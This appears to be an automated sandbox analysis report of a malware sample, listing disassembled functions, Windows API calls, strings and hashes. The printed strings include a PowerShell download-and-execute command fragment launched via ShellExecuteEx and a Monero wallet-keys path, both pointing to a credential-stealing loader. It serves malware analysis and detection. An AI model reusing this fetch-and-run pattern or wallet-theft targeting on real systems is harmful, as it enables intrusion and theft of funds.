Part of subcall function 00B2A110: lstrcpy.KERNEL32(00B30DFF,00000000), ref: 00B2A158

Strings

ERROR, xrefs: 00B24F12
ERROR, xrefs: 00B24F4F
ERROR, xrefs: 00B24E99
ERROR, xrefs: 00B24F89
ERROR, xrefs: 00B24DEA

Memory Dump Source

Source File: 00000000.00000002.2255940612.0000000000B11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256403368.0000000000FF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256494650.0000000001198000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256509444.0000000001199000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_file.jbxd

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSend
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3240024479-1526165396
Opcode ID: 2efb69e80414d139ce350935a96eec6c588367468e2d46b107b9ebc903a91f2e
Instruction ID: 0eb55139f538a2ab1f0cc67cc201cbc35f3a6f7e9a17fcdb6e6def5352ab2d47
Opcode Fuzzy Hash: 2efb69e80414d139ce350935a96eec6c588367468e2d46b107b9ebc903a91f2e
Instruction Fuzzy Hash: 7B517B309101189BCB18FF64ED96EED37B8EF51311F904098F90EA65A2EF706B44CB62

Function 00B26210 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32 ref: 00B26214
ExitProcess.KERNEL32 ref: 00B26245
ExitProcess.KERNEL32 ref: 00B2624F
ExitProcess.KERNEL32 ref: 00B26259
ExitProcess.KERNEL32 ref: 00B26263
ExitProcess.KERNEL32 ref: 00B2626D

Strings

*, xrefs: 00B2622C

Memory Dump Source

Source File: 00000000.00000002.2255940612.0000000000B11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256403368.0000000000FF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256494650.0000000001198000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256509444.0000000001199000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_file.jbxd

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: *
API String ID: 1494266314-163128923
Opcode ID: 154381a1fd81ebce5a0645b9ad5b2aea6587f59ea3dafe3b7b292cdbb6d3503f
Instruction ID: 81e332fff240f4bf4aa49c8510c00750f0504c77c90c4d5617755de8ff5fafce
Opcode Fuzzy Hash: 154381a1fd81ebce5a0645b9ad5b2aea6587f59ea3dafe3b7b292cdbb6d3503f
Instruction Fuzzy Hash: 7FF0F83195A348EFD748AFF0E909B6CBB79EF09703F148195F609E6290CB745A109F61

Function 00B227A0 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 00B2A110: lstrcpy.KERNEL32(00B30DFF,00000000), ref: 00B2A158

Part of subcall function 00B2A380: lstrlen.KERNEL32(?,00748BD0,?,\Monero\wallet.keys,00B30DFF), ref: 00B2A395
Part of subcall function 00B2A380: lstrcpy.KERNEL32(00000000), ref: 00B2A3D4
Part of subcall function 00B2A380: lstrcat.KERNEL32(00000000,00000000), ref: 00B2A3E2

Part of subcall function 00B2A2F0: lstrcpy.KERNEL32(00000000,?), ref: 00B2A342
Part of subcall function 00B2A2F0: lstrcat.KERNEL32(00000000), ref: 00B2A352

Part of subcall function 00B2A270: lstrcpy.KERNEL32(?,00B30DFF), ref: 00B2A2D5

ShellExecuteEx.SHELL32(0000003C), ref: 00B22895

Strings

-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 00B227D4
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 00B22814
<, xrefs: 00B22849
')", xrefs: 00B227C3

Memory Dump Source

Source File: 00000000.00000002.2255940612.0000000000B11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256403368.0000000000FF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256494650.0000000001198000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256509444.0000000001199000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_file.jbxd

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 3031569214-898575020
Opcode ID: 0ad40e5136a93bf0c654f8642503a5439468b5148aa34aaf3aeb48c102c6d3e6
Instruction ID: cc8d230aa964f5648d7f683f02313b1fe60634e404541e1ff9b5354ce52b5e45
Opcode Fuzzy Hash: 0ad40e5136a93bf0c654f8642503a5439468b5148aa34aaf3aeb48c102c6d3e6
Instruction Fuzzy Hash: 8741FF71D102289BDB18FFA0E8A2BDDBBB8AF14300F404599F41AB7192DF746A49CF51

Function 00B28D00 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(0074E0F8,?,?,?,00B20F1C,?,0074E0F8,00000000), ref: 00B28D0C
lstrcpyn.KERNEL32(00D3D378,0074E0F8,0074E0F8,?,00B20F1C,?,0074E0F8), ref: 00B28D30
lstrlen.KERNEL32(?,?,00B20F1C,?,0074E0F8), ref: 00B28D47
wsprintfA.USER32 ref: 00B28D67

Strings

%s%s, xrefs: 00B28D55

Memory Dump Source

Source File: 00000000.00000002.2255940612.0000000000B11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256403368.0000000000FF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256494650.0000000001198000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256509444.0000000001199000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_file.jbxd

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: 998d86ed72f18b7cf6f5da898393275e1142a8b08dd6e3a95b3eedb95c7acb8b
Instruction ID: 0c0420623a5b5bafe6333cd153db094185b4570b4227b68fdec48bd6cb7b850d
Opcode Fuzzy Hash: 998d86ed72f18b7cf6f5da898393275e1142a8b08dd6e3a95b3eedb95c7acb8b
Instruction Fuzzy Hash: 5D01DEB5511208FFCB04DFA8DD94DAE7BB9EF48344F108148F9099B355CA31AE40DBA1

Function 00B2C23D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

___crtGetStringTypeA.LIBCMT ref: 00B2C2DB
___crtLCMapStringA.LIBCMT ref: 00B2C2FB
___crtLCMapStringA.LIBCMT ref: 00B2C320

Strings

, xrefs: 00B2C285

Memory Dump Source

Source File: 00000000.00000002.2255940612.0000000000B11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256403368.0000000000FF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256494650.0000000001198000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256509444.0000000001199000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_file.jbxd

Similarity

API ID: String___crt$Type
String ID:
API String ID: 2109742289-3916222277
Opcode ID: 968de7db064ca1b33c73d0ae67cf088b7cd2de2c05416c2625a1260eda02e2e6
Instruction ID: c2065d76a246f1b9cad71e1b10561411f764fb47bc6fd9def9b76e7d0487ec7f
Opcode Fuzzy Hash: 968de7db064ca1b33c73d0ae67cf088b7cd2de2c05416c2625a1260eda02e2e6
Instruction Fuzzy Hash: 3E41E47150076C9EDB21CB649C84BFFBFF9EB45704F1488E8E98E86182E2719A458F64

Function 00B260D0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 00B26103

Part of subcall function 00B2A110: lstrcpy.KERNEL32(00B30DFF,00000000), ref: 00B2A158

Part of subcall function 00B2A380: lstrlen.KERNEL32(?,00748BD0,?,\Monero\wallet.keys,00B30DFF), ref: 00B2A395
Part of subcall function 00B2A380: lstrcpy.KERNEL32(00000000), ref: 00B2A3D4
Part of subcall function 00B2A380: lstrcat.KERNEL32(00000000,00000000), ref: 00B2A3E2

Part of subcall function 00B2A270: lstrcpy.KERNEL32(?,00B30DFF), ref: 00B2A2D5

ShellExecuteEx.SHELL32(0000003C), ref: 00B261C6
ExitProcess.KERNEL32 ref: 00B261F5

Strings

<, xrefs: 00B26179

Memory Dump Source

Source File: 00000000.00000002.2255940612.0000000000B11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256403368.0000000000FF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256494650.0000000001198000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256509444.0000000001199000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_file.jbxd

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: 35199f7c3e80ccd13006b212b5e775dac788a2681d26e961e59818f3154b6b2b
Instruction ID: 4b30fb6f8d01873369f7155ae3e51a6259088c723be52ce6068853695814deb6
Opcode Fuzzy Hash: 35199f7c3e80ccd13006b212b5e775dac788a2681d26e961e59818f3154b6b2b
Instruction Fuzzy Hash: FE3130B1C112289BDB14EB90EC96FDDB7B8AF54300F404199F209B6291DF746B48CF69

Function 00B28260 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00B30DF8,00000000,?), ref: 00B282CF
RtlAllocateHeap.NTDLL(00000000), ref: 00B282D6
wsprintfA.USER32 ref: 00B282F0

Part of subcall function 00B2A110: lstrcpy.KERNEL32(00B30DFF,00000000), ref: 00B2A158

Strings

%dx%d, xrefs: 00B282E7

Memory Dump Source

Source File: 00000000.00000002.2255940612.0000000000B11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256403368.0000000000FF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256494650.0000000001198000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256509444.0000000001199000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_file.jbxd

Similarity

API ID: Heap$AllocateProcesslstrcpywsprintf
String ID: %dx%d
API String ID: 1695172769-2206825331
Opcode ID: 381bd636ddab651dba3024eb438caa9cf4b1859f56c5ccfd8c9ca9b93145aefe
Instruction ID: 268efd67554a8c5363dea86ab053a2b7d2edad4561e3d49c70c10c338695305f
Opcode Fuzzy Hash: 381bd636ddab651dba3024eb438caa9cf4b1859f56c5ccfd8c9ca9b93145aefe
Instruction Fuzzy Hash: 75210BB1A40308ABDB04DF94EC49FAEBBB9FB48B11F104159F605F7390D77599018B61

Function 00B287F0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,00B28FBE,00000000), ref: 00B287FB
RtlAllocateHeap.NTDLL(00000000), ref: 00B28802
wsprintfW.USER32 ref: 00B28818

Strings

%hs, xrefs: 00B2880F

Memory Dump Source

Source File: 00000000.00000002.2255940612.0000000000B11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256403368.0000000000FF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256494650.0000000001198000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256509444.0000000001199000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_file.jbxd

Similarity

API ID: Heap$AllocateProcesswsprintf
String ID: %hs
API String ID: 769748085-2783943728
Opcode ID: 35c100563f4a4bbee8cefd954f8e9b1b2f27c96052aec66d36da0a544838005b
Instruction ID: afb0e993c2780a0cf934e7ded27254e0360f43d7e80de5ed5ac40c1cfb18a9f9
Opcode Fuzzy Hash: 35c100563f4a4bbee8cefd954f8e9b1b2f27c96052aec66d36da0a544838005b
Instruction Fuzzy Hash: AAE08C71A40308BBC704EB94EC0AE6977A9EB04701F000094FE09D7380DA719E108BA1

Function 00B1D240 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00B2A110: lstrcpy.KERNEL32(00B30DFF,00000000), ref: 00B2A158

Part of subcall function 00B2A380: lstrlen.KERNEL32(?,00748BD0,?,\Monero\wallet.keys,00B30DFF), ref: 00B2A395
Part of subcall function 00B2A380: lstrcpy.KERNEL32(00000000), ref: 00B2A3D4
Part of subcall function 00B2A380: lstrcat.KERNEL32(00000000,00000000), ref: 00B2A3E2

Part of subcall function 00B2A270: lstrcpy.KERNEL32(?,00B30DFF), ref: 00B2A2D5

Part of subcall function 00B28600: GetSystemTime.KERNEL32(00B30E02,0074A1D8,00B3059E,?,?,00B113F9,?,0000001A,00B30E02,00000000,?,00748BD0,?,\Monero\wallet.keys,00B30DFF), ref: 00B28626

